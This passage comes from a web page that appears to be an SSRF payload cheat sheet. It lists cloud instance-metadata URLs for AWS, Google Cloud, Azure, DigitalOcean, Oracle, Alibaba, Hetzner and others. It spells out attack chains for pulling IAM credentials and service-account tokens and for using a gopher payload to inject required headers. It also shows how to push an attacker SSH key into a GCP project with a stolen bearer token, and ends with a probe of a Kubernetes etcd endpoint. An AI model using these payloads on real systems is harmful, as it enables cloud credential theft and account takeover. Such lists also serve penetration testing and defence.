<a id="__codelineno-6-3" name="__codelineno-6-3" href="#__codelineno-6-3"></a><span class="n">http</span><span class="p">://</span><span class="n">169</span><span class="p">.</span><span class="n">254</span><span class="p">.</span><span class="n">169</span><span class="p">.</span><span class="n">254</span><span class="p">/</span><span class="n">latest</span><span class="p">/</span><span class="n">meta-data</span><span class="p">/</span><span class="n">reservation-id</span>
<a id="__codelineno-6-4" name="__codelineno-6-4" href="#__codelineno-6-4"></a><span class="n">http</span><span class="p">://</span><span class="n">169</span><span class="p">.</span><span class="n">254</span><span class="p">.</span><span class="n">169</span><span class="p">.</span><span class="n">254</span><span class="p">/</span><span class="n">latest</span><span class="p">/</span><span class="n">meta-data</span><span class="p">/</span><span class="n">hostname</span>
<a id="__codelineno-6-5" name="__codelineno-6-5" href="#__codelineno-6-5"></a><span class="n">http</span><span class="p">://</span><span class="n">169</span><span class="p">.</span><span class="n">254</span><span class="p">.</span><span class="n">169</span><span class="p">.</span><span class="n">254</span><span class="p">/</span><span class="n">latest</span><span class="p">/</span><span class="n">meta-data</span><span class="p">/</span><span class="n">public-keys</span><span class="p">/</span>
<a id="__codelineno-6-6" name="__codelineno-6-6" href="#__codelineno-6-6"></a><span class="n">http</span><span class="p">://</span><span class="n">169</span><span class="p">.</span><span class="n">254</span><span class="p">.</span><span class="n">169</span><span class="p">.</span><span class="n">254</span><span class="p">/</span><span class="n">latest</span><span class="p">/</span><span class="n">meta-data</span><span class="p">/</span><span class="n">public-keys</span><span class="p">/</span><span class="n">0</span><span class="p">/</span><span class="n">openssh-key</span>
<a id="__codelineno-6-7" name="__codelineno-6-7" href="#__codelineno-6-7"></a><span class="n">http</span><span class="p">://</span><span class="n">169</span><span class="p">.</span><span class="n">254</span><span class="p">.</span><span class="n">169</span><span class="p">.</span><span class="n">254</span><span class="p">/</span><span class="n">latest</span><span class="p">/</span><span class="n">meta-data</span><span class="p">/</span><span class="n">public-keys</span><span class="p">/</span><span class="no">[ID]</span><span class="p">/</span><span class="n">openssh-key</span>
<a id="__codelineno-6-8" name="__codelineno-6-8" href="#__codelineno-6-8"></a><span class="n">http</span><span class="p">://</span><span class="n">169</span><span class="p">.</span><span class="n">254</span><span class="p">.</span><span class="n">169</span><span class="p">.</span><span class="n">254</span><span class="p">/</span><span class="n">latest</span><span class="p">/</span><span class="n">dynamic</span><span class="p">/</span><span class="n">instance-identity</span><span class="p">/</span><span class="n">document</span>
</code></pre></div>
<p><strong>Examples</strong>: </p>
<ul>
<li>Jira SSRF leading to AWS info disclosure - <code>https://help.redacted.com/plugins/servlet/oauth/users/icon-uri?consumerUri=http://169.254.169.254/metadata/v1/maintenance</code></li>
<li>*Flaws challenge - <code>http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/iam/security-credentials/flaws/</code></li>
</ul>
<h2 id="ssrf-url-for-aws-ecs">SSRF URL for AWS ECS</h2>
<p>If you have an SSRF with file system access on an ECS instance, try extracting <code>/proc/self/environ</code> to get UUID.</p>
<div class="highlight"><pre><span></span><code><a id="__codelineno-7-1" name="__codelineno-7-1" href="#__codelineno-7-1"></a><span class="nb">curl </span><span class="n">http</span><span class="p">://</span><span class="n">169</span><span class="p">.</span><span class="n">254</span><span class="p">.</span><span class="n">170</span><span class="p">.</span><span class="n">2</span><span class="p">/</span><span class="n">v2</span><span class="p">/</span><span class="n">credentials</span><span class="p">/&lt;</span><span class="n">UUID</span><span class="p">&gt;</span>
</code></pre></div>
<p>This way you'll extract IAM keys of the attached role</p>
<h2 id="ssrf-url-for-aws-elastic-beanstalk">SSRF URL for AWS Elastic Beanstalk</h2>
<p>We retrieve the <code>accountId</code> and <code>region</code> from the API.</p>
<div class="highlight"><pre><span></span><code><a id="__codelineno-8-1" name="__codelineno-8-1" href="#__codelineno-8-1"></a><span class="n">http</span><span class="p">://</span><span class="n">169</span><span class="p">.</span><span class="n">254</span><span class="p">.</span><span class="n">169</span><span class="p">.</span><span class="n">254</span><span class="p">/</span><span class="n">latest</span><span class="p">/</span><span class="n">dynamic</span><span class="p">/</span><span class="n">instance-identity</span><span class="p">/</span><span class="n">document</span>
<a id="__codelineno-8-2" name="__codelineno-8-2" href="#__codelineno-8-2"></a><span class="n">http</span><span class="p">://</span><span class="n">169</span><span class="p">.</span><span class="n">254</span><span class="p">.</span><span class="n">169</span><span class="p">.</span><span class="n">254</span><span class="p">/</span><span class="n">latest</span><span class="p">/</span><span class="n">meta-data</span><span class="p">/</span><span class="n">iam</span><span class="p">/</span><span class="n">security-credentials</span><span class="p">/</span><span class="n">aws-elasticbeanorastalk-ec2-role</span>
</code></pre></div>
<p>We then retrieve the <code>AccessKeyId</code>, <code>SecretAccessKey</code>, and <code>Token</code> from the API.</p>
<div class="highlight"><pre><span></span><code><a id="__codelineno-9-1" name="__codelineno-9-1" href="#__codelineno-9-1"></a><span class="n">http</span><span class="p">://</span><span class="n">169</span><span class="p">.</span><span class="n">254</span><span class="p">.</span><span class="n">169</span><span class="p">.</span><span class="n">254</span><span class="p">/</span><span class="n">latest</span><span class="p">/</span><span class="n">meta-data</span><span class="p">/</span><span class="n">iam</span><span class="p">/</span><span class="n">security-credentials</span><span class="p">/</span><span class="n">aws-elasticbeanorastalk-ec2-role</span>
</code></pre></div>
<p>Then we use the credentials with <code>aws s3 ls s3://elasticbeanstalk-us-east-2-[ACCOUNT_ID]/</code>.</p>
<h2 id="ssrf-url-for-aws-lambda">SSRF URL for AWS Lambda</h2>
<p>AWS Lambda provides an HTTP API for custom runtimes to receive invocation events from Lambda and send response data back within the Lambda execution environment.</p>
<div class="highlight"><pre><span></span><code><a id="__codelineno-10-1" name="__codelineno-10-1" href="#__codelineno-10-1"></a><span class="n">http</span><span class="p">://</span><span class="n">localhost</span><span class="p">:</span><span class="n">9001</span><span class="p">/</span><span class="n">2018</span><span class="p">-</span><span class="n">06</span><span class="p">-</span><span class="n">01</span><span class="p">/</span><span class="n">runtime</span><span class="p">/</span><span class="n">invocation</span><span class="p">/</span><span class="n">next</span>
<a id="__codelineno-10-2" name="__codelineno-10-2" href="#__codelineno-10-2"></a><span class="n">http</span><span class="p">://${</span><span class="n">AWS_LAMBDA_RUNTIME_API</span><span class="p">}/</span><span class="n">2018</span><span class="p">-</span><span class="n">06</span><span class="p">-</span><span class="n">01</span><span class="p">/</span><span class="n">runtime</span><span class="p">/</span><span class="n">invocation</span><span class="p">/</span><span class="n">next</span>
</code></pre></div>
<p>Docs: https://docs.aws.amazon.com/lambda/latest/dg/runtimes-api.html#runtimes-api-next</p>
<h2 id="ssrf-url-for-google-cloud">SSRF URL for Google Cloud</h2>
<p><img alt="⚠" class="twemoji" src="https://cdn.jsdelivr.net/gh/jdecked/twemoji@15.1.0/assets/svg/26a0.svg" title=":warning:" /> Google is shutting down support for usage of the <strong>v1 metadata service</strong> on January 15.</p>
<p>Requires the header "Metadata-Flavor: Google" or "X-Google-Metadata-Request: True"</p>
<div class="highlight"><pre><span></span><code><a id="__codelineno-11-1" name="__codelineno-11-1" href="#__codelineno-11-1"></a><span class="n">http</span><span class="p">://</span><span class="n">169</span><span class="p">.</span><span class="n">254</span><span class="p">.</span><span class="n">169</span><span class="p">.</span><span class="n">254</span><span class="p">/</span><span class="n">computeMetadata</span><span class="p">/</span><span class="n">v1</span><span class="p">/</span>
<a id="__codelineno-11-2" name="__codelineno-11-2" href="#__codelineno-11-2"></a><span class="n">http</span><span class="p">://</span><span class="n">metadata</span><span class="p">.</span><span class="n">google</span><span class="p">.</span><span class="n">internal</span><span class="p">/</span><span class="n">computeMetadata</span><span class="p">/</span><span class="n">v1</span><span class="p">/</span>
<a id="__codelineno-11-3" name="__codelineno-11-3" href="#__codelineno-11-3"></a><span class="n">http</span><span class="p">://</span><span class="n">metadata</span><span class="p">/</span><span class="n">computeMetadata</span><span class="p">/</span><span class="n">v1</span><span class="p">/</span>
<a id="__codelineno-11-4" name="__codelineno-11-4" href="#__codelineno-11-4"></a><span class="n">http</span><span class="p">://</span><span class="n">metadata</span><span class="p">.</span><span class="n">google</span><span class="p">.</span><span class="n">internal</span><span class="p">/</span><span class="n">computeMetadata</span><span class="p">/</span><span class="n">v1</span><span class="p">/</span><span class="n">instance</span><span class="p">/</span><span class="n">hostname</span>
<a id="__codelineno-11-5" name="__codelineno-11-5" href="#__codelineno-11-5"></a><span class="n">http</span><span class="p">://</span><span class="n">metadata</span><span class="p">.</span><span class="n">google</span><span class="p">.</span><span class="n">internal</span><span class="p">/</span><span class="n">computeMetadata</span><span class="p">/</span><span class="n">v1</span><span class="p">/</span><span class="n">instance</span><span class="p">/</span><span class="n">id</span>
<a id="__codelineno-11-6" name="__codelineno-11-6" href="#__codelineno-11-6"></a><span class="n">http</span><span class="p">://</span><span class="n">metadata</span><span class="p">.</span><span class="n">google</span><span class="p">.</span><span class="n">internal</span><span class="p">/</span><span class="n">computeMetadata</span><span class="p">/</span><span class="n">v1</span><span class="p">/</span><span class="n">project</span><span class="p">/</span><span class="n">project-id</span>
</code></pre></div>
<p>Google allows recursive pulls</p>
<div class="highlight"><pre><span></span><code><a id="__codelineno-12-1" name="__codelineno-12-1" href="#__codelineno-12-1"></a><span class="n">http</span><span class="p">://</span><span class="n">metadata</span><span class="p">.</span><span class="n">google</span><span class="p">.</span><span class="n">internal</span><span class="p">/</span><span class="n">computeMetadata</span><span class="p">/</span><span class="n">v1</span><span class="p">/</span><span class="n">instance</span><span class="p">/</span><span class="n">disks</span><span class="p">/</span><span class="k">?</span><span class="n">recursive</span><span class="p">=</span><span class="n">true</span>
</code></pre></div>
<p>Beta does NOT require a header atm (thanks Mathias Karlsson @avlidienbrunn)</p>
<div class="highlight"><pre><span></span><code><a id="__codelineno-13-1" name="__codelineno-13-1" href="#__codelineno-13-1"></a><span class="n">http</span><span class="p">://</span><span class="n">metadata</span><span class="p">.</span><span class="n">google</span><span class="p">.</span><span class="n">internal</span><span class="p">/</span><span class="n">computeMetadata</span><span class="p">/</span><span class="n">v1beta1</span><span class="p">/</span>
<a id="__codelineno-13-2" name="__codelineno-13-2" href="#__codelineno-13-2"></a><span class="n">http</span><span class="p">://</span><span class="n">metadata</span><span class="p">.</span><span class="n">google</span><span class="p">.</span><span class="n">internal</span><span class="p">/</span><span class="n">computeMetadata</span><span class="p">/</span><span class="n">v1beta1</span><span class="p">/</span><span class="k">?</span><span class="n">recursive</span><span class="p">=</span><span class="n">true</span>
</code></pre></div>
<p>Required headers can be set using a gopher SSRF with the following technique</p>
<div class="highlight"><pre><span></span><code><a id="__codelineno-14-1" name="__codelineno-14-1" href="#__codelineno-14-1"></a><span class="n">gopher</span><span class="p">://</span><span class="n">metadata</span><span class="p">.</span><span class="n">google</span><span class="p">.</span><span class="n">internal</span><span class="p">:</span><span class="n">80</span><span class="p">/</span><span class="n">xGET</span><span class="k">%</span><span class="n">20</span><span class="p">/</span><span class="n">computeMetadata</span><span class="p">/</span><span class="n">v1</span><span class="p">/</span><span class="n">instance</span><span class="p">/</span><span class="n">attributes</span><span class="p">/</span><span class="n">ssh-keys</span><span class="k">%</span><span class="n">20HTTP</span><span class="k">%</span><span class="n">2f</span><span class="k">%</span><span class="n">31</span><span class="k">%</span><span class="n">2e</span><span class="k">%</span><span class="n">31</span><span class="k">%</span><span class="n">0AHost</span><span class="p">:</span><span class="k">%</span><span class="n">20metadata</span><span class="p">.</span><span class="n">google</span><span class="p">.</span><span class="n">internal</span><span class="k">%</span><span class="n">0AAccept</span><span class="p">:</span><span class="k">%</span><span class="n">20</span><span class="k">%</span><span class="n">2a</span><span class="k">%</span><span class="n">2f</span><span class="k">%</span><span class="n">2a</span><span class="k">%</span><span class="n">0aMetadata-Flavor</span><span class="p">:</span><span class="k">%</span><span class="n">20Google</span><span class="k">%</span><span class="n">0d</span><span class="k">%</span><span class="n">0a</span>
</code></pre></div>
<p>Interesting files to pull out:</p>
<ul>
<li>SSH Public Key : <code>http://metadata.google.internal/computeMetadata/v1beta1/project/attributes/ssh-keys?alt=json</code></li>
<li>Get Access Token : <code>http://metadata.google.internal/computeMetadata/v1beta1/instance/service-accounts/default/token</code></li>
<li>Kubernetes Key : <code>http://metadata.google.internal/computeMetadata/v1beta1/instance/attributes/kube-env?alt=json</code></li>
</ul>
<h3 id="add-an-ssh-key">Add an SSH key</h3>
<p>Extract the token</p>
<div class="highlight"><pre><span></span><code><a id="__codelineno-15-1" name="__codelineno-15-1" href="#__codelineno-15-1"></a><span class="n">http</span><span class="p">://</span><span class="n">metadata</span><span class="p">.</span><span class="n">google</span><span class="p">.</span><span class="n">internal</span><span class="p">/</span><span class="n">computeMetadata</span><span class="p">/</span><span class="n">v1beta1</span><span class="p">/</span><span class="n">instance</span><span class="p">/</span><span class="n">service-accounts</span><span class="p">/</span><span class="k">default</span><span class="p">/</span><span class="n">token</span><span class="k">?</span><span class="n">alt</span><span class="p">=</span><span class="n">json</span>
</code></pre></div>
<p>Check the scope of the token</p>
<div class="highlight"><pre><span></span><code><a id="__codelineno-16-1" name="__codelineno-16-1" href="#__codelineno-16-1"></a><span class="p">$</span> <span class="nb">curl </span><span class="n">https</span><span class="p">://</span><span class="n">www</span><span class="p">.</span><span class="n">googleapis</span><span class="p">.</span><span class="n">com</span><span class="p">/</span><span class="n">oauth2</span><span class="p">/</span><span class="n">v1</span><span class="p">/</span><span class="n">tokeninfo</span><span class="k">?</span><span class="n">access_token</span><span class="p">=</span><span class="n">ya29</span><span class="p">.</span><span class="n">XXXXXKuXXXXXXXkGT0rJSA</span>
<a id="__codelineno-16-2" name="__codelineno-16-2" href="#__codelineno-16-2"></a>
<a id="__codelineno-16-3" name="__codelineno-16-3" href="#__codelineno-16-3"></a><span class="p">{</span>
<a id="__codelineno-16-4" name="__codelineno-16-4" href="#__codelineno-16-4"></a> <span class="s2">&quot;issued_to&quot;</span><span class="p">:</span> <span class="s2">&quot;101302079XXXXX&quot;</span><span class="p">,</span>
<a id="__codelineno-16-5" name="__codelineno-16-5" href="#__codelineno-16-5"></a> <span class="s2">&quot;audience&quot;</span><span class="p">:</span> <span class="s2">&quot;10130207XXXXX&quot;</span><span class="p">,</span>
<a id="__codelineno-16-6" name="__codelineno-16-6" href="#__codelineno-16-6"></a> <span class="s2">&quot;scope&quot;</span><span class="p">:</span> <span class="s2">&quot;https://www.googleapis.com/auth/compute https://www.googleapis.com/auth/logging.write https://www.googleapis.com/auth/devstorage.read_write https://www.googleapis.com/auth/monitoring&quot;</span><span class="p">,</span>
<a id="__codelineno-16-7" name="__codelineno-16-7" href="#__codelineno-16-7"></a> <span class="s2">&quot;expires_in&quot;</span><span class="p">:</span> <span class="n">2443</span><span class="p">,</span>
<a id="__codelineno-16-8" name="__codelineno-16-8" href="#__codelineno-16-8"></a> <span class="s2">&quot;access_type&quot;</span><span class="p">:</span> <span class="s2">&quot;offline&quot;</span>
<a id="__codelineno-16-9" name="__codelineno-16-9" href="#__codelineno-16-9"></a><span class="p">}</span>
</code></pre></div>
<p>Now push the SSH key.</p>
<div class="highlight"><pre><span></span><code><a id="__codelineno-17-1" name="__codelineno-17-1" href="#__codelineno-17-1"></a><span class="nb">curl </span><span class="n">-X</span> <span class="n">POST</span> <span class="s2">&quot;https://www.googleapis.com/compute/v1/projects/1042377752888/setCommonInstanceMetadata&quot;</span>
<a id="__codelineno-17-2" name="__codelineno-17-2" href="#__codelineno-17-2"></a><span class="n">-H</span> <span class="s2">&quot;Authorization: Bearer ya29.c.EmKeBq9XI09_1HK1XXXXXXXXT0rJSA&quot;</span>
<a id="__codelineno-17-3" name="__codelineno-17-3" href="#__codelineno-17-3"></a><span class="n">-H</span> <span class="s2">&quot;Content-Type: application/json&quot;</span>
<a id="__codelineno-17-4" name="__codelineno-17-4" href="#__codelineno-17-4"></a><span class="p">-</span><span class="n">-data</span> <span class="s1">&#39;{&quot;items&quot;: [{&quot;key&quot;: &quot;sshkeyname&quot;, &quot;value&quot;: &quot;sshkeyvalue&quot;}]}&#39;</span>
</code></pre></div>
<h2 id="ssrf-url-for-digital-ocean">SSRF URL for Digital Ocean</h2>
<p>Documentation available at <code>https://developers.digitalocean.com/documentation/metadata/</code></p>
<div class="highlight"><pre><span></span><code><a id="__codelineno-18-1" name="__codelineno-18-1" href="#__codelineno-18-1"></a><span class="nb">curl </span><span class="n">http</span><span class="p">://</span><span class="n">169</span><span class="p">.</span><span class="n">254</span><span class="p">.</span><span class="n">169</span><span class="p">.</span><span class="n">254</span><span class="p">/</span><span class="n">metadata</span><span class="p">/</span><span class="n">v1</span><span class="p">/</span><span class="n">id</span>
<a id="__codelineno-18-2" name="__codelineno-18-2" href="#__codelineno-18-2"></a><span class="n">http</span><span class="p">://</span><span class="n">169</span><span class="p">.</span><span class="n">254</span><span class="p">.</span><span class="n">169</span><span class="p">.</span><span class="n">254</span><span class="p">/</span><span class="n">metadata</span><span class="p">/</span><span class="n">v1</span><span class="p">.</span><span class="n">json</span>
<a id="__codelineno-18-3" name="__codelineno-18-3" href="#__codelineno-18-3"></a><span class="n">http</span><span class="p">://</span><span class="n">169</span><span class="p">.</span><span class="n">254</span><span class="p">.</span><span class="n">169</span><span class="p">.</span><span class="n">254</span><span class="p">/</span><span class="n">metadata</span><span class="p">/</span><span class="n">v1</span><span class="p">/</span>
<a id="__codelineno-18-4" name="__codelineno-18-4" href="#__codelineno-18-4"></a><span class="n">http</span><span class="p">://</span><span class="n">169</span><span class="p">.</span><span class="n">254</span><span class="p">.</span><span class="n">169</span><span class="p">.</span><span class="n">254</span><span class="p">/</span><span class="n">metadata</span><span class="p">/</span><span class="n">v1</span><span class="p">/</span><span class="n">id</span>
<a id="__codelineno-18-5" name="__codelineno-18-5" href="#__codelineno-18-5"></a><span class="n">http</span><span class="p">://</span><span class="n">169</span><span class="p">.</span><span class="n">254</span><span class="p">.</span><span class="n">169</span><span class="p">.</span><span class="n">254</span><span class="p">/</span><span class="n">metadata</span><span class="p">/</span><span class="n">v1</span><span class="p">/</span><span class="n">user-data</span>
<a id="__codelineno-18-6" name="__codelineno-18-6" href="#__codelineno-18-6"></a><span class="n">http</span><span class="p">://</span><span class="n">169</span><span class="p">.</span><span class="n">254</span><span class="p">.</span><span class="n">169</span><span class="p">.</span><span class="n">254</span><span class="p">/</span><span class="n">metadata</span><span class="p">/</span><span class="n">v1</span><span class="p">/</span><span class="n">hostname</span>
<a id="__codelineno-18-7" name="__codelineno-18-7" href="#__codelineno-18-7"></a><span class="n">http</span><span class="p">://</span><span class="n">169</span><span class="p">.</span><span class="n">254</span><span class="p">.</span><span class="n">169</span><span class="p">.</span><span class="n">254</span><span class="p">/</span><span class="n">metadata</span><span class="p">/</span><span class="n">v1</span><span class="p">/</span><span class="n">region</span>
<a id="__codelineno-18-8" name="__codelineno-18-8" href="#__codelineno-18-8"></a><span class="n">http</span><span class="p">://</span><span class="n">169</span><span class="p">.</span><span class="n">254</span><span class="p">.</span><span class="n">169</span><span class="p">.</span><span class="n">254</span><span class="p">/</span><span class="n">metadata</span><span class="p">/</span><span class="n">v1</span><span class="p">/</span><span class="n">interfaces</span><span class="p">/</span><span class="n">public</span><span class="p">/</span><span class="n">0</span><span class="p">/</span><span class="n">ipv6</span><span class="p">/</span><span class="n">address</span>
<a id="__codelineno-18-9" name="__codelineno-18-9" href="#__codelineno-18-9"></a>
<a id="__codelineno-18-10" name="__codelineno-18-10" href="#__codelineno-18-10"></a><span class="n">All</span> <span class="k">in</span> <span class="n">one</span> <span class="n">request</span><span class="p">:</span>
<a id="__codelineno-18-11" name="__codelineno-18-11" href="#__codelineno-18-11"></a><span class="nb">curl </span><span class="n">http</span><span class="p">://</span><span class="n">169</span><span class="p">.</span><span class="n">254</span><span class="p">.</span><span class="n">169</span><span class="p">.</span><span class="n">254</span><span class="p">/</span><span class="n">metadata</span><span class="p">/</span><span class="n">v1</span><span class="p">.</span><span class="n">json</span> <span class="p">|</span> <span class="n">jq</span>
</code></pre></div>
<h2 id="ssrf-url-for-packetcloud">SSRF URL for Packetcloud</h2>
<p>Documentation available at <code>https://metadata.packet.net/userdata</code></p>
<h2 id="ssrf-url-for-azure">SSRF URL for Azure</h2>
<p>Limited, maybe more exists? <code>https://azure.microsoft.com/en-us/blog/what-just-happened-to-my-vm-in-vm-metadata-service/</code></p>
<div class="highlight"><pre><span></span><code><a id="__codelineno-19-1" name="__codelineno-19-1" href="#__codelineno-19-1"></a><span class="n">http</span><span class="p">://</span><span class="n">169</span><span class="p">.</span><span class="n">254</span><span class="p">.</span><span class="n">169</span><span class="p">.</span><span class="n">254</span><span class="p">/</span><span class="n">metadata</span><span class="p">/</span><span class="n">v1</span><span class="p">/</span><span class="n">maintenance</span>
</code></pre></div>
<p>Update Apr 2017, Azure has more support; requires the header "Metadata: true" <code>https://docs.microsoft.com/en-us/azure/virtual-machines/windows/instance-metadata-service</code></p>
<div class="highlight"><pre><span></span><code><a id="__codelineno-20-1" name="__codelineno-20-1" href="#__codelineno-20-1"></a><span class="n">http</span><span class="p">://</span><span class="n">169</span><span class="p">.</span><span class="n">254</span><span class="p">.</span><span class="n">169</span><span class="p">.</span><span class="n">254</span><span class="p">/</span><span class="n">metadata</span><span class="p">/</span><span class="n">instance</span><span class="k">?</span><span class="n">api-version</span><span class="p">=</span><span class="n">2017</span><span class="p">-</span><span class="n">04</span><span class="p">-</span><span class="n">02</span>
<a id="__codelineno-20-2" name="__codelineno-20-2" href="#__codelineno-20-2"></a><span class="n">http</span><span class="p">://</span><span class="n">169</span><span class="p">.</span><span class="n">254</span><span class="p">.</span><span class="n">169</span><span class="p">.</span><span class="n">254</span><span class="p">/</span><span class="n">metadata</span><span class="p">/</span><span class="n">instance</span><span class="p">/</span><span class="n">network</span><span class="p">/</span><span class="n">interface</span><span class="p">/</span><span class="n">0</span><span class="p">/</span><span class="n">ipv4</span><span class="p">/</span><span class="n">ipAddress</span><span class="p">/</span><span class="n">0</span><span class="p">/</span><span class="n">publicIpAddress</span><span class="k">?</span><span class="n">api-version</span><span class="p">=</span><span class="n">2017</span><span class="p">-</span><span class="n">04</span><span class="p">-</span><span class="n">02</span><span class="p">&amp;</span><span class="n">format</span><span class="p">=</span><span class="n">text</span>
</code></pre></div>
<h2 id="ssrf-url-for-openstackrackspace">SSRF URL for OpenStack/RackSpace</h2>
<p>(header required? unknown)</p>
<div class="highlight"><pre><span></span><code><a id="__codelineno-21-1" name="__codelineno-21-1" href="#__codelineno-21-1"></a><span class="n">http</span><span class="p">://</span><span class="n">169</span><span class="p">.</span><span class="n">254</span><span class="p">.</span><span class="n">169</span><span class="p">.</span><span class="n">254</span><span class="p">/</span><span class="n">openstack</span>
</code></pre></div>
<h2 id="ssrf-url-for-hp-helion">SSRF URL for HP Helion</h2>
<p>(header required? unknown)</p>
<div class="highlight"><pre><span></span><code><a id="__codelineno-22-1" name="__codelineno-22-1" href="#__codelineno-22-1"></a><span class="n">http</span><span class="p">://</span><span class="n">169</span><span class="p">.</span><span class="n">254</span><span class="p">.</span><span class="n">169</span><span class="p">.</span><span class="n">254</span><span class="p">/</span><span class="n">2009</span><span class="p">-</span><span class="n">04</span><span class="p">-</span><span class="n">04</span><span class="p">/</span><span class="n">meta-data</span><span class="p">/</span>
</code></pre></div>
<h2 id="ssrf-url-for-oracle-cloud">SSRF URL for Oracle Cloud</h2>
<div class="highlight"><pre><span></span><code><a id="__codelineno-23-1" name="__codelineno-23-1" href="#__codelineno-23-1"></a><span class="n">http</span><span class="p">://</span><span class="n">192</span><span class="p">.</span><span class="n">0</span><span class="p">.</span><span class="n">0</span><span class="p">.</span><span class="n">192</span><span class="p">/</span><span class="n">latest</span><span class="p">/</span>
<a id="__codelineno-23-2" name="__codelineno-23-2" href="#__codelineno-23-2"></a><span class="n">http</span><span class="p">://</span><span class="n">192</span><span class="p">.</span><span class="n">0</span><span class="p">.</span><span class="n">0</span><span class="p">.</span><span class="n">192</span><span class="p">/</span><span class="n">latest</span><span class="p">/</span><span class="n">user-data</span><span class="p">/</span>
<a id="__codelineno-23-3" name="__codelineno-23-3" href="#__codelineno-23-3"></a><span class="n">http</span><span class="p">://</span><span class="n">192</span><span class="p">.</span><span class="n">0</span><span class="p">.</span><span class="n">0</span><span class="p">.</span><span class="n">192</span><span class="p">/</span><span class="n">latest</span><span class="p">/</span><span class="n">meta-data</span><span class="p">/</span>
<a id="__codelineno-23-4" name="__codelineno-23-4" href="#__codelineno-23-4"></a><span class="n">http</span><span class="p">://</span><span class="n">192</span><span class="p">.</span><span class="n">0</span><span class="p">.</span><span class="n">0</span><span class="p">.</span><span class="n">192</span><span class="p">/</span><span class="n">latest</span><span class="p">/</span><span class="n">attributes</span><span class="p">/</span>
</code></pre></div>
<h2 id="ssrf-url-for-alibaba">SSRF URL for Alibaba</h2>
<div class="highlight"><pre><span></span><code><a id="__codelineno-24-1" name="__codelineno-24-1" href="#__codelineno-24-1"></a><span class="n">http</span><span class="p">://</span><span class="n">100</span><span class="p">.</span><span class="n">100</span><span class="p">.</span><span class="n">100</span><span class="p">.</span><span class="n">200</span><span class="p">/</span><span class="n">latest</span><span class="p">/</span><span class="n">meta-data</span><span class="p">/</span>
<a id="__codelineno-24-2" name="__codelineno-24-2" href="#__codelineno-24-2"></a><span class="n">http</span><span class="p">://</span><span class="n">100</span><span class="p">.</span><span class="n">100</span><span class="p">.</span><span class="n">100</span><span class="p">.</span><span class="n">200</span><span class="p">/</span><span class="n">latest</span><span class="p">/</span><span class="n">meta-data</span><span class="p">/</span><span class="n">instance-id</span>
<a id="__codelineno-24-3" name="__codelineno-24-3" href="#__codelineno-24-3"></a><span class="n">http</span><span class="p">://</span><span class="n">100</span><span class="p">.</span><span class="n">100</span><span class="p">.</span><span class="n">100</span><span class="p">.</span><span class="n">200</span><span class="p">/</span><span class="n">latest</span><span class="p">/</span><span class="n">meta-data</span><span class="p">/</span><span class="n">image-id</span>
</code></pre></div>
<h2 id="ssrf-url-for-hetzner-cloud">SSRF URL for Hetzner Cloud</h2>
<div class="highlight"><pre><span></span><code><a id="__codelineno-25-1" name="__codelineno-25-1" href="#__codelineno-25-1"></a><span class="n">http</span><span class="p">://</span><span class="n">169</span><span class="p">.</span><span class="n">254</span><span class="p">.</span><span class="n">169</span><span class="p">.</span><span class="n">254</span><span class="p">/</span><span class="n">hetzner</span><span class="p">/</span><span class="n">v1</span><span class="p">/</span><span class="n">metadata</span>
<a id="__codelineno-25-2" name="__codelineno-25-2" href="#__codelineno-25-2"></a><span class="n">http</span><span class="p">://</span><span class="n">169</span><span class="p">.</span><span class="n">254</span><span class="p">.</span><span class="n">169</span><span class="p">.</span><span class="n">254</span><span class="p">/</span><span class="n">hetzner</span><span class="p">/</span><span class="n">v1</span><span class="p">/</span><span class="n">metadata</span><span class="p">/</span><span class="n">hostname</span>
<a id="__codelineno-25-3" name="__codelineno-25-3" href="#__codelineno-25-3"></a><span class="n">http</span><span class="p">://</span><span class="n">169</span><span class="p">.</span><span class="n">254</span><span class="p">.</span><span class="n">169</span><span class="p">.</span><span class="n">254</span><span class="p">/</span><span class="n">hetzner</span><span class="p">/</span><span class="n">v1</span><span class="p">/</span><span class="n">metadata</span><span class="p">/</span><span class="n">instance-id</span>
<a id="__codelineno-25-4" name="__codelineno-25-4" href="#__codelineno-25-4"></a><span class="n">http</span><span class="p">://</span><span class="n">169</span><span class="p">.</span><span class="n">254</span><span class="p">.</span><span class="n">169</span><span class="p">.</span><span class="n">254</span><span class="p">/</span><span class="n">hetzner</span><span class="p">/</span><span class="n">v1</span><span class="p">/</span><span class="n">metadata</span><span class="p">/</span><span class="n">public-ipv4</span>
<a id="__codelineno-25-5" name="__codelineno-25-5" href="#__codelineno-25-5"></a><span class="n">http</span><span class="p">://</span><span class="n">169</span><span class="p">.</span><span class="n">254</span><span class="p">.</span><span class="n">169</span><span class="p">.</span><span class="n">254</span><span class="p">/</span><span class="n">hetzner</span><span class="p">/</span><span class="n">v1</span><span class="p">/</span><span class="n">metadata</span><span class="p">/</span><span class="n">private-networks</span>
<a id="__codelineno-25-6" name="__codelineno-25-6" href="#__codelineno-25-6"></a><span class="n">http</span><span class="p">://</span><span class="n">169</span><span class="p">.</span><span class="n">254</span><span class="p">.</span><span class="n">169</span><span class="p">.</span><span class="n">254</span><span class="p">/</span><span class="n">hetzner</span><span class="p">/</span><span class="n">v1</span><span class="p">/</span><span class="n">metadata</span><span class="p">/</span><span class="n">availability-zone</span>
<a id="__codelineno-25-7" name="__codelineno-25-7" href="#__codelineno-25-7"></a><span class="n">http</span><span class="p">://</span><span class="n">169</span><span class="p">.</span><span class="n">254</span><span class="p">.</span><span class="n">169</span><span class="p">.</span><span class="n">254</span><span class="p">/</span><span class="n">hetzner</span><span class="p">/</span><span class="n">v1</span><span class="p">/</span><span class="n">metadata</span><span class="p">/</span><span class="n">region</span>
</code></pre></div>
<h2 id="ssrf-url-for-kubernetes-etcd">SSRF URL for Kubernetes ETCD</h2>
<p>Can contain API keys and internal ip and ports</p>
<div class="highlight"><pre><span></span><code><a id="__codelineno-26-1" name="__codelineno-26-1" href="#__codelineno-26-1"></a><span class="nb">curl </span><span class="n">-L</span> <span class="n">http</span><span class="p">://</span><span class="n">127</span><span class="p">.</span><span class="n">0</span><span class="p">.</span><span class="n">0</span><span class="p">.</span><span class="n">1</span><span class="p">:</span><span class="n">2379</span><span class="p">/</span><span class="n">version</span>
